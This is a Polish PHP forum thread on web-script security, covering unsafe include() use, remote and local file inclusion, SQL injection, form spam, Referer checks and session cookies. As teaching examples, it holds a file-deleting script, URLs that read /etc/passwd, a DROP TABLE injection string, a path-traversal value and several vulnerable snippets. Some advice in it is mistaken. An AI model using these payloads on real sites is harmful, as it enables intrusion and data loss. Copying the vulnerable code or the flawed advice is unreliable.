  2.  function get_page()
  3. {
  4. /*metoda zajmuje sie analizowaniem zmiennej p
  5. zgodnie z jej wartoscia przerzuca skrypt do 
  6. metody link_wartosc
  7. */
  8. if (!isset($_GET['p']))
  9. {
  10.  
  11. $this->link_index();
  12. }
  13. else
  14. {
  15. $a=strtolower($_GET['p']);
  16. $a=ereg_replace('([^a-z0-9_-])',"",$a);
  17. if ($a=="")
  18. {
  19. $this->link_index();
  20. }
  21. else
  22. {
  23. $z=method_exists($this,"link_".$a);
  24. if ($z==1)
  25. {
  26. eval('$this->link_'.$a.'();');
  27. }else{
  28. $this->error();
  29. }
  30. }
  31. }
  32.  
  33. }
  34. ?>

tworzymy wiec medtode dla linku www.domena.pl/?p=strona link_strona. W metodzie (funkcji) moze byc zwykly include.
Kiedy dana strona nie istnieje, czyli nie stworzylismy danej metody, zostanie uruchomiona metoda error(). Np strona bledu 404 ktora zaprojektujemy, albo zwykly redirector do indeksu.


--------------------
..::tHe FoE::..
Go to the top of the page
+Quote Post
LamaMASTER
post 11.04.2006, 21:50:27
Post #34





Grupa: Zarejestrowani
Postów: 160
Pomógł: 0
Dołączył: 27.03.2006

Ostrzeżenie: (0%)
-----


Cytat(Diwi @ 2005-05-05 12:21:40)
1. Złe używanie include.

Często dołączamy pliki dynamicznie pobierając miejsce gdzie znajduje się plik metodą GET.

Przykładowy adres:
http://www.jakas-strona.pl/index.php?plik=katalog.php

Kod php:
  1. <?php
  2. include($_GET['plik']);
  3. ?>


Taki skrypt dokonałby dołączenia pliku katalog.php do skryptu lecz co by się stało gdyby włamywacz wpisał taki adres:
http://www.jakas-strona.pl/index.php?plik=...t-niszczacy.php

Dajmy na to że skrypt znajdujący się na serwerze hakera wygląda tak:

  1. <?php
  2.  
  3. $katalog = opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */
  4.  
  5. while ($plik = readdir($katalog)) {
  6.  
  7. unlink($file);
  8.  
  9. }
  10.  
  11. ?>


No i jeżeli pliki w katalogu mają uprawnienia pozwalające na usunięcie ich przez skrypt to możemy się pożegnać z plikami w katalogu.

Jak temu zapobiec questionmark.gif

Rozwiązanie 1.

Tworzymy taki include:
  1. <?php
  2. include('./'.$_GET['katalog']);
  3. ?>


Taka instrukcja pozwala na dołączanie jedynie plików które znajdują się w katalogu ze skryptem czyli nie można załączyć pliku z innego serwera.

Ludzie litości! Wielkie zabezpieczenia, a ja widzę, że tu ktoś podstaw php nie zna! Od kiedy to w include idzie podać ścieżkę do innego serwera? Jeżeli podamy:
  1. <?
  2. include('http://www.domena.pl/skrypt.php');
  3. ?>

to skrypt nie zostanie zincludowany! Taka opcja jest możliwa jest jedynie w funkcji readfile (do tego właśnie ona jest).
Zastosowanie:
  1. <?
  2. include($zmienna);
  3. ?>

jest dosyć bezpieczne (zależy od skryptu). Najbardziej bezpieczne jest już:
  1. <?
  2. include('katalog/'.$zmienna.'.php');
  3. ?>

Ludzie - jak ja widzę takie bzdury, że wtedy za pomocą index.php?zmienna=http:///cośtam można zhackować stronę to mnie krew zalewa. Tak samo w przypadku tematu o SQL Injection - pierdół pełno powypisywane. Skoro już piszecie w ciemno, to najpierw polecam czy takie coś zadziała, a potem pisać jak przeciwdziałać.
W dodatku przy powyższym skrypcie jeżeli dodamy:
$zmienna = $_GET['zmienna'];
to nie stanie się nic innego jak to, że zmienna przybierze wartość z adresu 2 razy (a co za tym idzie skrypt będzie wykonywany wolniej). Pokażcie mi w tym jakąś lukę to zwracam honor...

Reszty postów i tematu całego wolę dalej nie czytać winksmiley.jpg
Go to the top of the page
+Quote Post
nospor
post 11.04.2006, 21:58:04
Post #35





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




Cytat
Ludzie litości! Wielkie zabezpieczenia, a ja widzę, że tu ktoś podstaw php nie zna! Od kiedy to w include idzie podać ścieżkę do innego serwera?
hmmm, manual klamie?
http://pl.php.net/manual/pl/function.include.php
Cytat
Jeśli "URL fopen wrappers" są włączone w php (takie jest domyślne ustawienie) można podać nazwę pliku do wczytania używając adresu URL (przez protokół HTTP lub innym obsługiwanym sposobem - zajrzyj do Dodatek M aby zapoznać się z listą obsługiwanych protokołów), zamiast podawać ścieżkę lokalną.
Nie sprawdzalem tego nigdy, ale wierze manualowi smile.gif

edit: sprawdzilem. manual nie klamie. da sie smile.gif
Na przyszlosc jak kogos oskarżasz o brak podstaw, sprawdź, czy sam je posiadasz smile.gif

q.php
  1. <?php
  2. include($_GET['file']);
  3. ?>

a link do skryptu:
http://rpn/test/q.php?file=http://forum.webcity.pl/index.php
no i tym sposobem odpalilem se konkurencyjne forum, a teoretycznie chcialem moją stronę smile.gif

Cytat
Reszty postów i tematu całego wolę dalej nie czytać
ja rowniez ci tego nie polecam dla Twego dobra, jeszcze cię coś naprawdę zaleje winksmiley.jpg.


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
kszychu
post 12.04.2006, 08:32:56
Post #36





Grupa: Przyjaciele php.pl
Postów: 2 712
Pomógł: 23
Dołączył: 27.10.2003
Skąd: z kontowni

Ostrzeżenie: (0%)
-----


A ja z kolei dodam, że3 należałoby się przyjrzeć składni include i pochodnych. Zwłaszcza polecam lekturę: jak zachowuje sieinclude pobierając pliki z innych serwerów.
Kolega LamaMASTER myli się, da się zaincludować skrypt php z innego serwera, z drobnym ale... Uważacie, że apache na tym serwerze puści na źródło skryptu, bo my go o to poprosimy?... Nie? A jak zachowa się apache?...
I obyśmy tylko takich hakerów mieli, którzy skrypt niszczący odpalają z własnego serwera :-D


--------------------
"Coś się kończy, coś się zaczyna." Andrzej Sapkowski
Go to the top of the page
+Quote Post
LamaMASTER
post 12.04.2006, 11:32:16
Post #37





Grupa: Zarejestrowani
Postów: 160
Pomógł: 0
Dołączył: 27.03.2006

Ostrzeżenie: (0%)
-----


Na moim serwerze taki trick nie działa, dlatego byłem przekonany, że nie idzie (tak samo było u moich kolegów).
Go to the top of the page
+Quote Post
nospor
post 12.04.2006, 11:34:48
Post #38





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




I tylko dlatego, ze u ciebie ten trick nie dziala, to jedziesz po innych uzytkownikach? oskarżasz ich o brak wiedzy, o brak testow tego co robią, o nieczytanie manuala? Zastanow sie co robisz.

Slyszales kiedys o czymś takim, ze kazdy serwer mozna inaczej skonfigurowac?

ps: wspominales cos o zwróceniu honoru... jakos tego nie zauwazylem bys to zrobil tongue.gif


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
LamaMASTER
post 12.04.2006, 17:46:53
Post #39





Grupa: Zarejestrowani
Postów: 160
Pomógł: 0
Dołączył: 27.03.2006

Ostrzeżenie: (0%)
-----


Cytat
ps: wspominales cos o zwróceniu honoru... jakos tego nie zauwazylem bys to zrobil

\/
Cytat
Pokażcie mi w tym jakąś lukę to zwracam honor


Cytat
Gdzie masz jakieś pierdoły na ten temat? Podaj przykłady, a nie świeć swoimi mądrościami.

Przykład: Skoro mamy np. mysql_query, to nie jest możliwe zrobienie czegoś takiego: news.php?id=1;DROP%20TABLE%20news; , bo mysql_query pozwala na wysłanie tylko jednego zapytania.

Poświeciłem poświeciłem i się wyświeciło winksmiley.jpg Przepraszam za zamieszanie smile.gif
Go to the top of the page
+Quote Post
Vengeance
post 12.04.2006, 17:52:35
Post #40





Grupa: Zarejestrowani
Postów: 657
Pomógł: 2
Dołączył: 15.08.2003
Skąd: Łódź

Ostrzeżenie: (0%)
-----


Ale przy postgresql, mssql czy oracle to już zadziała... pamiętaj, świat nie ogranicza się do mySQL


--------------------
Go to the top of the page
+Quote Post
thornag
post 13.04.2006, 14:29:58
Post #41





Grupa: Zarejestrowani
Postów: 504
Pomógł: 2
Dołączył: 31.03.2006
Skąd: Londyn

Ostrzeżenie: (0%)
-----


Wracajac do powyższej dyskusji na temat include to chcialbym i cos od siebie dodac.

Założmy, że manual klamie (to tak tylko na cele posta tongue.gif) i include nie pozwala dołączać URLi z zewnatrz. Ważne jest tez, że administrator nie wpadł na takowy pomysł i nie ma poistawionego Apache'a na chroocie.

Mamy podany wyzej include o postaci:

  1. <?php
  2.  
  3. include($_GET['zmienna']);
  4.  
  5. ?>


Warto dodac ze skrypt taki umiescimy w pliku index.php

No i teraz czas na zabawe, katalogi moga byc różne w zależnosci od Linuxa u mnie na jednym serwerze z OpenBSD i Apachem na chroocie oczywiscie nie dziala ale na drugim z Red Hatem mozna sie pobawic.

Przekazujemy takie adresy

http://domena/index.php?zmienna=/etc/my.cnf (jak mowilem w zaleznosci od serwera)

i widzimy konfiguracje MySQLa, idzmy dalej

http://domena/1.php?zmienna=/etc/passwd

titaj mamy informacje o userach na serwerze

adresow do tego typu plikow mozna szukac wiecej stopien niebezpieczenstwa zależy od stopnia wiedzy intruza.

Ale to tak chcialem dorzucic bo nie lubie jak ktos pisze bzdury ze inni bzdury piszanie patrzac nawet do manuala smile.gif zachowuje sie wtedy jak moj stary smile.gif tzn chodzbym mu dowod na pismie na cos przedstawil to stary i tak uwaza ze ma racje tongue.gif

Pozdrawiam


--------------------
"Wizja czasu jest szeroka, lecz kiedy sie przez nia przechodzi, czas staje sie waskimi drzwiami"

Go to the top of the page
+Quote Post
kszychu
post 13.04.2006, 16:40:36
Post #42





Grupa: Przyjaciele php.pl
Postów: 2 712
Pomógł: 23
Dołączył: 27.10.2003
Skąd: z kontowni

Ostrzeżenie: (0%)
-----


@thornag: dziękujemy za jakże wnikliwą analizę problemu. Zanim uraczysz nas kolejnymi rewelacjami bądź łaskaw czytać dokładnie wątki, w których się udzielasz. Jeśli nie całe to chociaż pierwsze strony.


--------------------
"Coś się kończy, coś się zaczyna." Andrzej Sapkowski
Go to the top of the page
+Quote Post
Jarod
post 13.04.2006, 21:27:45
Post #43





Grupa: Zarejestrowani
Postów: 1 190
Pomógł: 27
Dołączył: 23.04.2005

Ostrzeżenie: (0%)
-----


Co znaczy apach na chroocie?


--------------------
”Godzina nauki w życiu nowoczesnego apostoła jest godziną modlitwy.”
(św. Josemaría Escrivá, Droga, 335)
Go to the top of the page
+Quote Post
thornag
post 14.04.2006, 02:19:00
Post #44





Grupa: Zarejestrowani
Postów: 504
Pomógł: 2
Dołączył: 31.03.2006
Skąd: Londyn

Ostrzeżenie: (0%)
-----


Cytat(kszychu @ 2006-04-13 15:40:36)
@thornag: dziękujemy za jakże wnikliwą analizę problemu. Zanim uraczysz nas kolejnymi rewelacjami bądź łaskaw czytać dokładnie wątki, w których się udzielasz. Jeśli nie całe to chociaż pierwsze strony.

Wszak nawet nie smiem twierdzic ze to rewelacje chyba wiekszosc forumowiczow doskonale o tym wie. Watek czytalem acz byc moze umknely mi posty o wyswietlaniu plikow konfiguracyjnych. Pozatym nie pisze tego by raczyc rewelacjami a jedynie by pokazac tym ktorzy w nieswiadomosci zyja ze cos takiego jest mozliwe. I nawiazujac wlasnie do tego co przed momentem napisalem a dokladniej mowiac do przydatnosci posta odpwoiem na pytanie poprzednika:

chroot to taki mechanizm, ktory sprawia, ze np. Apache uznaje, że katalogiem głównym systemu jest dla niego katalog instalacji czyli np. /var/www po to by nikt nie mogl zrobic directory traversal nawet jak przejmiesz apache, to nie wyleziesz do prawdziwego katalogu. To trak w skrocie czyli tyle co sam wiem co mi przekazano smile.gif

Edit:

kszychu ==> rzeczywiscie zwracam honor, przy czytaniu umknela mi strona nr.2 moj blad jak najbardziej przyznaje racje, aczkolwiek musze zaznaczyc ze nie mialem złych zamiarow rolleyes.gif

Ten post edytował thornag 14.04.2006, 02:22:15


--------------------
"Wizja czasu jest szeroka, lecz kiedy sie przez nia przechodzi, czas staje sie waskimi drzwiami"

Go to the top of the page
+Quote Post
Nightwalker
post 14.04.2006, 03:26:13
Post #45





Grupa: Zarejestrowani
Postów: 180
Pomógł: 0
Dołączył: 5.02.2006
Skąd: Bytom

Ostrzeżenie: (10%)
X----


Witam,

Mam pytanie, czy ten kod jest w miare bezpieczny?

  1. <?php
  2. zapisz($_GET['sekcja']);
  3. ?>


  1. <?php
  2. function zapisz($dbs)
  3. {
  4. $plik = 'database/'.$dbs.'.dbs';
  5. $otworzplik = fopen($plik, 'w+') or die("Blad podczas otwierania!");
  6. $zapiszplik = fwrite($otworzplik, $zamiana) or die("Blad podczas zapisywania!");
  7. }
  8.  
  9. ?>


uzycie funkcji zapisz() jest w if(isset($_COOKIE["Admin"])) (jezeli cookie sie nie zgadza nie ruszy)

Zreszta podam adres skryptu http://firefoks.be/admin.php (który zresztą za niedługo opublikuje biggrin.gif)

Pozdrawiam

Ten post edytował Nightwalk 14.04.2006, 03:30:52


--------------------
Go to the top of the page
+Quote Post
mumin.php
post 30.05.2006, 07:45:59
Post #46





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 30.05.2006

Ostrzeżenie: (0%)
-----


Witam

Jestem nowy na forum i zgodnie z sugestią mike_mech'a przeczytałem cały wątek. Wydaje mi się że nie znalazłem odpowiedzi na moje pytanie, więc pozwolę sobie zapytać smile.gif

Jakiś czas temu pojawił mi się problem z atakami przez formularze (np. mailowe) - we wszystkich wykorzystuję metodę $_POST. Mója znajmomość php pozwoliła mi na uzyskanie mniej więcej takiej jakości zabezpieczeń:

  1. <form id="nazwa" method="post" action="">
  2. <input type="text" name="pole_tekstowe" value="" /><br />
  3. <input type="radio" name="jakies_radio" value="wartosc1" /><br />
  4. <input type="checkbox" name ="jakis_check" value="T" /><br />
  5. <input type="submit" name="wyslij" value="wyslij" />
  6. </form>


  1. <? 
  2.  
  3. /* w uproszeczeniu podam tylko moje "zabezpieczenia" */
  4.  
  5. if ($_POST['wyslij'])
  6. {
  7. /* podstawowe zabezpieczenie */
  8. htmlspecialchars(strip_tags($_POST), ENT_QUOTES);
  9.  
  10. /* jak chcę mieć spokój z radio i checkboxami to buduję tablice dopuszczelnych wa
    rtości */
  11. $tabl3 = array('', 'P', 'Z', 'I');
  12. $valid = True;
  13.  if (!in_array($_POST['jakies_radio'], $tabl3)) { $valid = False; }
  14.  
  15. if ($valid != False)
  16. { 
  17.  do smth
  18. }
  19.  
  20.  /* jeśli mogę sobie na to pozwolić to sprawdzam URLa */
  21. if ($_SERVER['HTTP_REFERER']!= 'http://www.mojastrona/index.php5?name=formularz')
  22. {
  23. die ('bad idea');
  24. }
  25. else
  26. {
  27. wszystkie powyzsze zabezpieczenia
  28. }
  29. }
  30. else
  31. {
  32. $obj = new template_powyższego_htmla;
  33. }
  34. ?>


Ale wciąż mam wrażenie, że to za mało, albo zbyt toporne to to. Z różnych przyczyn nie bardzo mogę/chcę weryfikować wysyłany formularz generowanym hasłem w obrazku. Czy ktoś ma może takie "wzrocowy" przykład minimum zabezpieczeń dla formularzy?
Go to the top of the page
+Quote Post
sobstel
post 30.05.2006, 08:38:20
Post #47





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


zabezpieczając się najpeirw należy się zastanowić przed czym się zabezpieczamy

1. po co htmlspecialchars(strip_tags( ? tego trzeba używać przy umieszczaniu danych w kodzie html (chyba ze na zapas), nie mowiac o tym ze w twoim przypadku jest to bledny zapis poniewaz zarowno strip_tags jak i htmlspecialchars nie moze przyjmowac jako argumentu tablicy. poza tym, przed sprawdzeniem poprawnosci danych nie powinno ich sie raczej zmieniac, uwazam ze walidacje powinno sie dokonywac na surowych danych takich jak dostarczono.

2. $_SERVER['HTTP_REFERER'] nie nawsze jest ustawiane,a moze tez sie roznic jak przechodzi przez rozne proxy. lepszym rozwiazaniem jest zastosoawnie jakiegos tokena (umieszczenie tokena w polu typu hidden i w sesji i potem sprawdzenie czy sie pokrywaja). btw, jest to zabezpieczenie przed proba bezposredniego wyslania danych z pominieciem wlasciwego formularza na stronie.

3. wszystko zalezy od przeznaczenia, jesli uwaznie przeczytales watek to byc moze zauwazyles ze nikt tutaj nie ma jednej skutecznej metody zabezpieczania. jesli umieszczasz dane w zapytaniach to trzeba np. uzyc mysql_real_escape_string, jesli dane wyswietlasz to htmlspecialchars, jesli chcesz sie zabezp przed xss to strip_tags [nawet bez tagow html da sie xss zastosowac, chociazby przez nieumiejetnie wykrozystany i napisany bbcode]. kombinacji i mozliwosc jest wiele, a bardzo duzo zalezy od specyfikacji danego problemu.

Ten post edytował sopel 30.05.2006, 08:40:02


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
mumin.php
post 30.05.2006, 09:26:45
Post #48





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 30.05.2006

Ostrzeżenie: (0%)
-----


to może trochę sprecyzuję

Te zagrożone formularze na stronie wykorzystuję do przesyłania maili do konkretnego wskazanego odbiorcy w firmie. Jedne z formularzy to typowy formularz kontaktowy (imie, nazwisko, mail, twoja opinia), drugie to ankiety (dużo radiobuttonów, kilka textarea, kilka checkboxów)

Jakiś czas temu, ktoś zaczął podpinać się zewnetrznym formularzem i rozsyłać spamy - pakowali swoje nagłówki w maila i mieli pełną swobodę. Dlatego zastosowałem htmlspecialchars(strip_tags($_POST), ENT_QUOTES); - dało to taki efekt że przypinane zewnętrznie headers wyglądają mniej więcej tak:

Content-Type: text/plain; charset=\"us-ascii\"

więc już jest bezpieczniej,

$_SERVER['HTTP_REFERER'] =='url' powinno mnie chyba zabezpieczyć dość skutecznie przed podpinaniem się zewnętrznym formularzem pod mój?
Go to the top of the page
+Quote Post
sobstel
post 30.05.2006, 09:29:06
Post #49





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(mumin.php @ 30.05.2006, 10:26 ) *
$_SERVER['HTTP_REFERER'] =='url' powinno mnie chyba zabezpieczyć dość skutecznie przed podpinaniem się zewnętrznym formularzem pod mój?


Cytat("sopel")
$_SERVER['HTTP_REFERER'] nie nawsze jest ustawiane,a moze tez sie roznic jak przechodzi przez rozne proxy


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
mumin.php
post 30.05.2006, 10:33:54
Post #50





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 30.05.2006

Ostrzeżenie: (0%)
-----


Cytat(sopel @ 30.05.2006, 09:38 ) *
2. $_SERVER['HTTP_REFERER'] nie nawsze jest ustawiane,a moze tez sie roznic jak przechodzi przez rozne proxy.


Przyznaję, że niestety nie rozumiem tego wytłumaczenia sad.gif

jeśli url www.mojastrona.costam?name=formularz
wywołuje skrypt.php (wywoływany tylko if($_GET['name']=='formularz') ) w którym:
  1. <?php
  2. if(!$_POST['wyslij'])
  3. { 
  4. pokaż formularz 
  5. }
  6. else
  7. {
  8. if ($_SERVER['HTTP_REFERER'] !='www.mojastrona.costam?name=formularz')
  9. {
  10. die ('nie rob nic');
  11. }
  12. else
  13. {
  14.  wyslij formularz
  15. }
  16. }
  17. ?>


to jak to można obejść?

jeśli pytanie jest bardzo lamerskie to już więcej nie będę męczył
Go to the top of the page
+Quote Post
Speedy
post 4.06.2006, 19:18:58
Post #51





Grupa: Zarejestrowani
Postów: 651
Pomógł: 28
Dołączył: 4.12.2004

Ostrzeżenie: (0%)
-----


Wystarczy wysłać odpowiedni nagłówek i w nim zdefiniować dowolny http referer. Można to zrobić w php lub z użyciem takiego pluginu do firefoxa o nazwie `Live HTTP headers`


--------------------
Sygnatura niezgodna z regulaminem.
Go to the top of the page
+Quote Post
sobstel
post 4.06.2006, 19:57:25
Post #52





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(mumin.php @ 30.05.2006, 11:33 ) *
Przyznaję, że niestety nie rozumiem tego wytłumaczenia sad.gif


nigdy nie mozesz polegac na HTTP_REFERER nawet jak nikt przy nim nie majstruje. ktos moze laczyc sie z twoja strona przez proxy a proxy czasami lubia mieszac z naglowkami HTTP, przez co ten sam uzytkownik moze zwracac np. rozne USER_AGENT, to samo tyczy sie HTTP_REFERER. takze, przegladarka moze wcale tego naglowka nie wysylac i wtedy $_SERVER['HTTP_REFERER'] jest puste nawet, gdy ktos przechodzi z jednej strony na drugą. w ten sposob przez swoje zabezpieczenie ograniczasz dostepnosc aplikacji dla niektorych uzytkownikow. dokladajac fakt, o ktorym wspomnial powyzej Speedy, powoduje to ze HTTP_REFERER raczej nie jest najlepszym rozwiazaniem, nie sadzisz?

Ten post edytował sopel 4.06.2006, 19:58:38


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
NuLL
post 5.06.2006, 01:40:06
Post #53





Grupa: Zarejestrowani
Postów: 2 262
Pomógł: 21
Dołączył: 3.05.2004
Skąd: Sopot, Krakow, W-wa

Ostrzeżenie: (0%)
-----


Podziele sie z Wami moim pomyslem jak ja zalatwiam prawie wszystko roboty tego typu w swoich projektach.

Jest formularz
  1. <input type='text' name='a3ol5m3in5klnw_name'>

To takie smieszne w nazwie to losowy string - generowany md5 na bazie czasu. Zapisuje sie go w sesji. User wysyla i sie wyciaga z POST wszystkie pola porownujac z tym co jest w sesji zapisane - cos ala token doklejony do nazwy pola. I tyle biggrin.gif

Roboty wysylajace spam np. na blogi dzialaja na bazie znajomosci nazw pol formularza oraz adresow - bo tak dziala np. CURL - taki prosty patch rozwala wiekszosc na lopatki biggrin.gif Jesli nie ma sesji tzn ze ktos cos majstruje winksmiley.jpg

Ten post edytował NuLL 5.06.2006, 01:44:36


--------------------
Javascript, Coffeescript, Node.js, Mongo, CouchDb, chmury, workery & inne bajery - zycie jest zbyt krotkie aby miec nudna prace :)
Go to the top of the page
+Quote Post
Vengeance
post 21.07.2006, 21:09:53
Post #54





Grupa: Zarejestrowani
Postów: 657
Pomógł: 2
Dołączył: 15.08.2003
Skąd: Łódź

Ostrzeżenie: (0%)
-----


@NuLL: Skoro sprawdzałeś to OK, ale dla mnie to żaden problem by bot odsyłał dokładnie te same nagłówki jakie otrzymał od serwera (chodzi oczywiście o cookies) a wtedy sesja zostanie wykryta.


--------------------
Go to the top of the page
+Quote Post
mariuszn3
post 22.07.2006, 12:23:11
Post #55





Grupa: Zarejestrowani
Postów: 352
Pomógł: 0
Dołączył: 22.01.2006

Ostrzeżenie: (0%)
-----


NuLL a co z tymi co mają wyłączoną obsługę ciasteczek?
Go to the top of the page
+Quote Post
NuLL
post 26.07.2006, 13:16:24
Post #56





Grupa: Zarejestrowani
Postów: 2 262
Pomógł: 21
Dołączył: 3.05.2004
Skąd: Sopot, Krakow, W-wa

Ostrzeżenie: (0%)
-----


Cytat(mariuszn3 @ 22.07.2006, 13:23 ) *
NuLL a co z tymi co mają wyłączoną obsługę ciasteczek?

Statystycznie 1,5% - mam w powazaniu smile.gif

@Vee - napisalem ze prawie wszystkie - z tego co widze wiekszosc botow nie jest na tyle inteligentna aby to zrobic party.gif W najblizszym czasie bede mial mozliwosc testowania tego piszac duzy system blogowy smile.gif


--------------------
Javascript, Coffeescript, Node.js, Mongo, CouchDb, chmury, workery & inne bajery - zycie jest zbyt krotkie aby miec nudna prace :)
Go to the top of the page
+Quote Post
Turgon
post 1.08.2006, 18:26:12
Post #57





Grupa: Zarejestrowani
Postów: 800
Pomógł: 0
Dołączył: 26.11.2005
Skąd: Nowy Sącz

Ostrzeżenie: (0%)
-----


Czy przechowywanie id sesji w ciachu jest bezpieczne ?
Bo piszę własną obsługę sesji i to jest konsultowane z bazą danych...


--------------------
Jah Music Is On My Mind !
Go to the top of the page
+Quote Post
sobstel
post 1.08.2006, 19:32:58
Post #58





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(Turgon @ 1.08.2006, 19:26 ) *
Czy przechowywanie id sesji w ciachu jest bezpieczne ?
Bo piszę własną obsługę sesji i to jest konsultowane z bazą danych...


jest dość bezpieczne, ale najbezpieczeniejsze jest w połączeniu z SSL (https) - w innym przypadku cookies może być podsłuchane (co w gruncie rzeczy znowu aż takie proste dla wielu nie jest). jednakże uznałbym ten sposób mimo wszystko stosunkowo bezpieczny, jeśli wsparty przez odpowiednie dodatkowe zabezpieczenia jak chociażby wygasania sesji np. po 20-30min czy potwierdzanie ważnych czynności hasłem (jak zmiana maila, usunięcie ważnych danych).

Ten post edytował sopel 1.08.2006, 19:33:29


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
Turgon
post 2.08.2006, 08:21:50
Post #59





Grupa: Zarejestrowani
Postów: 800
Pomógł: 0
Dołączył: 26.11.2005
Skąd: Nowy Sącz

Ostrzeżenie: (0%)
-----


O to właśnie mi chodziło. Skrypt miałby się w przypadku zmiany danych pytać o hasło i login. Sesja zwykle wygasa u mnie po 30 minutach nieaktywności. Skrypt zbierający śmieci to załatwia.
Ciacho wygasa zawsze po 30 minutach od ostatniej nieaktywności.

Niestety SSLa nie potrzebuje, bo to nie jest jakis skrypt bankowy czy coś, tylko prosty zbiór dzieł różnych ludzi...


--------------------
Jah Music Is On My Mind !
Go to the top of the page
+Quote Post
Joachim Peters
post 4.08.2006, 10:43:27
Post #60





Grupa: Zarejestrowani
Postów: 196
Pomógł: 2
Dołączył: 1.03.2006

Ostrzeżenie: (0%)
-----


W swoim cms, nie wiem czy zrobić tak:
  1. <?php
  2. if(file_exists('modules/'.$page.'.php'))
  3. {
  4. include ('modules/'.basename($page.'.php'));
  5. }
  6. else 
  7. {
  8. include ('modules/news.php');
  9. }
  10. ?>



czy na switch'ach?

Ten post edytował d@ro 4.08.2006, 10:50:24
Go to the top of the page
+Quote Post
kalu111
post 20.08.2006, 09:55:10
Post #61





Grupa: Zarejestrowani
Postów: 68
Pomógł: 0
Dołączył: 22.07.2006

Ostrzeżenie: (0%)
-----


A jakich powinno sie ustrzegac znakow w zmiennych przekazywanych drogą $_GET , $_POST itd., jeżeli zmienne te będa dalej wykorzystywane w skrypcie. Od razu powiem, ze nie chodzi mi o includowanie plikow, tylko o zwykle parametry, ktore maja wplyw na dalszy przebieg skryptu?
Czy zwykle stripslashes, strip_tags, trim lub funkcje zwiazane z mysql wystarcza?

Ten post edytował kalu111 20.08.2006, 09:56:06
Go to the top of the page
+Quote Post
iks
post 3.11.2006, 13:36:29
Post #62





Grupa: Zarejestrowani
Postów: 33
Pomógł: 0
Dołączył: 30.06.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


A czy mój tok myślenia jest dobry? Mam zrobione logowanie, jęsli podane dane zgadzają sie:
  1. <?php
  2. if($bazapass == $zpass)
  3. {
  4. $_SESSION['userid'] = $userid;
  5. $_SESSION['nick'] = $podanylogin;
  6. $_SESSION['level'] = $kto;
  7. }
  8. ?>

A pliki includowane przez panel zaczynajuą sie od:
  1. <?php
  2. if(!isset($_SESSION['level']) || $_GET['k'] > $_SESSION['level'])
  3. {
  4. echo ' SPIEPRZAJ DZIADU!';
  5. }
  6. ?>

gdzie zmienna $_GET['k'] wskazuje katalog z którego ma być include() modułu.

Ten post edytował iks 3.11.2006, 13:37:36


--------------------
iksor
Go to the top of the page
+Quote Post
Saddam92
post 29.11.2006, 13:40:53
Post #63





Grupa: Zarejestrowani
Postów: 69
Pomógł: 0
Dołączył: 17.11.2006

Ostrzeżenie: (0%)
-----


a czy moglibyście powiedzieć czy ten skrypt jest bezpieczny??
system includowania stron
  1. <?php
  2. define ('_ABCDE_F', TRUE);
  3. ....
  4. ....
  5. if ($_GET['mode'] == "") {$_GET['mode'] = 'main';}
  6. if (file_exists("strony/$_GET['mode'".".php")) {
  7. include "strony/$_GET['mode'".".php";
  8. }else {
  9. echo "Nie znaleziono pliku !!";
  10. }
  11. ?>
oraz w pliku includowanym:
  1. <?php
  2. defined ('_ABCDE_F') or die('Bezpośrednie wywołanie pliku jest zabronione');
  3. /* Reszta pliku */
  4. ?>
co o tym myślicie??

Ten post edytował Saddam92 29.11.2006, 13:43:18
Go to the top of the page
+Quote Post
Termit_
post 30.11.2006, 21:36:25
Post #64





Grupa: Zarejestrowani
Postów: 44
Pomógł: 0
Dołączył: 11.06.2005
Skąd: Gostyń

Ostrzeżenie: (0%)
-----


A jak ktoś poda w zmiennej coś typu "../../../../root/jakiswaznyplik"?


--------------------
@nospor: trzymajcie się. Wszystko będzie dobrze!
Go to the top of the page
+Quote Post
Saddam92
post 30.11.2006, 23:17:28
Post #65





Grupa: Zarejestrowani
Postów: 69
Pomógł: 0
Dołączył: 17.11.2006

Ostrzeżenie: (0%)
-----


@termit: to do mnie było questionmark.gif
jesli tak to raczej nie widze możliwości..


chyba ze php obsługuje takie nielogiczne skrypty jak sciezka do pliku wygladajac tak:
strony/../../../../root/jakis_wazny_plik
i to w dodatku trzeba trafić idealnie żeby taki plik istniał w odpowiednim katalogu... troche trudne i nie logiczne..

co na to spece od php??
Go to the top of the page
+Quote Post
Najki
post 1.12.2006, 10:26:12
Post #66





Grupa: Zarejestrowani
Postów: 190
Pomógł: 0
Dołączył: 12.02.2004
Skąd: Poznań

Ostrzeżenie: (0%)
-----


